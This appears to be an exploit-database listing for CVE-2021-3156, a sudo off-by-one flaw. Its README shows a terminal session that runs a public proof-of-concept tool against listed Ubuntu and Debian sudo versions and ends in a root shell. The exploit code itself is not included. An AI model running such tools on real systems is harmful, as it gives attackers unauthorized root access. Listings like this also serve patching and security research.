Sploitus

Exploit for Off-by-one Error in Sudo Project Sudo

CVE-2021-3156

githubexploit Β· 2021-01-31

Exploit Code

README25 lines
## https://sploitus.com/exploit?id=BD98107A-1F5C-5E0E-BB2B-51DFBAC1D4BA
# CVE-2021-3156

xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 

** CVE-2021-3156 PoC by blasty 

  usage: ./sudo-hax-me-a-sandwich 

  available targets:
  ------------------------------------------------------------
    0) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    1) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
  ------------------------------------------------------------

xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty 

using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(xchg)
#